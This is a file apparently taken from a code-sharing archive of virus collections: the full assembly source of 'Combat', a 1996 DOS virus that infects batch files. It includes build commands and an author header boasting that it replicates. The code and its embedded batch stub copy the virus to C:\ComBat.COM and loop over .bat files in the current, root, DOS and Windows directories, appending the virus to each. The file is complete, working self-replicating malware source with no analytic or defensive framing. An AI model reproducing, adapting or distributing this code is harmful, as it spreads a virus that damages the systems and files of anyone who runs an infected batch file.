www.pudn.com > ²¡¶¾´úÂë1000·Ý.rar > combat.asm, change:1996-09-08,size:4812b

;=====( Combat virus by Rajaat )=============================================== 
; 
; Non-resident BAT infector, doesn't use external programs by third party. 
; 
;============================================================================== 
; 
; Virus name    : Combat 
; Author        : Rajaat 
; Origin        : United Kingdom, July 1996 
; Compiling     : Using TASM 
; 
;                 TASM /M COMBAT 
;                 TLINK /T COMBAT 
;                 REN COMBAT.COM COMBAT.BAT 
; Targets       : BAT files 
; Size          : Doesn't matter 
; Resident      : No 
; Polymorphic   : No 
; Encrypted     : No 
; Stealth       : No 
; Tunneling     : No 
; Retrovirus    : No 
; Antiheuristics: No 
; Peculiarities : It infects BAT files parasitically 
; Drawbacks     : It's a goddamn BAT infector, what do you think?!? 
; Behaviour     : No really, find out yourself! I was bored and made this, 
;                 do you really think I'd spend time explaining what it DOES? 
;                 It's unknown what this virus might do besides replicate :) 
;============================================================================== 
; 
; Results with antivirus software 
; 
;       TBFILE                    - Not tested 
;       TBSCAN                    - Not tested 
;       TBMEM                     - Not tested 
;       TBCLEAN                   - Not tested 
;       SVS                       - Not tested 
;       SSC                       - Not tested 
;       F-PROT                    - Not tested 
;       F-PROT /ANALYSE           - Not tested 
;       F-PROT /ANALYSE /PARANOID - Not tested 
;       AVP                       - Not tested 
;       VSAFE                     - Not tested 
;       NEMESIS                   - Not tested 
; 
;============================================================================== 
 
.model tiny 
.code 
.radix 16 
 
signature       equ 5240 
 
                org 100 
 
main: 
                db '@REM ',0ff 
                jmp com_entry 
                db ' * ComBat *' 
                db 0dh,0ah 
                db '@echo off',0dh,0ah 
                db 'goto ComBat',0dh,0ah 
 
com_entry:      mov si,80 
                cmp byte ptr ds:[si],0 
                je no_check 
                cld 
find_argument:  inc si 
                lodsb 
                dec si 
                cmp al,20 
                je find_argument 
                mov dx,si 
find_end:       lodsb 
                cmp al,0dh 
                jne find_end 
                mov byte ptr ds:[si-1],0 
                push dx 
                mov ax,3d02 
                int 21 
                jc no_check 
                xchg ax,bx 
                lea dx,virus_end 
                mov ah,3f 
                mov cx,3 
                int 21 
                mov ah,3e 
                int 21 
                pop dx 
                cmp word ptr virus_end,signature 
                je no_check 
                mov ax,4301 
                xor cx,cx 
                int 21 
                mov ah,3c 
                xor cx,cx 
                lea dx,temp_file 
                int 21 
                jc no_check 
                xchg ax,bx 
                mov ah,40 
                lea dx,main 
                mov cx,file_length 
                int 21 
                mov ah,3e 
                int 21 
                mov ax,4c00 
                int 21 
 
                db 0,'Rajaat / Genesis',0 
 
no_check:       mov ax,4c01 
                int 21 
 
temp_file       db 'ComBat.TMP',0 
 
batch_2         db 0dh,0ah 
                db ':ComBat',0dh,0ah 
                db 'if #%_tmp%#==## goto no_call',0dh,0ah 
                db 'C:\ComBat.COM %1',0dh,0ah 
                db 'if errorlevel 1 goto done_ComBat',0dh,0ah 
                db 'type %1 >> ComBat.TMP',0dh,0ah 
                db 'echo. >> ComBat.TMP',0dh,0ah 
                db 'echo :done_ComBat >> ComBat.TMP',0dh,0ah 
                db 'copy ComBat.TMP %1 > nul',0dh,0ah 
                db 'del ComBat.TMP > nul',0dh,0ah 
                db 'goto done_ComBat',0dh,0ah 
                db ':no_call',0dh,0ah 
                db 'set _tmp=%0',0dh,0ah 
                db 'if #%_tmp%#==## set _tmp=AUTOEXEC.BAT',0dh,0ah 
                db 'if not exist %_tmp% set _tmp=%0.BAT',0dh,0ah 
                db 'if not exist %_tmp% goto path_error',0dh,0ah 
                db 'copy %_tmp% C:\ComBat.COM > nul',0dh,0ah 
                db 'for %%f in (*.bat c:\*.bat c:\dos\*.bat c:\windows\*.bat ..\*.bat) do call %_tmp% %%f',0dh,0ah 
                db 'del C:\ComBat.COM > nul',0dh,0ah 
                db ':path_error',0dh,0ah 
                db 'set _tmp=',0dh,0ah 
file_length     equ $-main 
virus_end       equ $ 
                db ':done_ComBat',0dh,0ah 
 
end main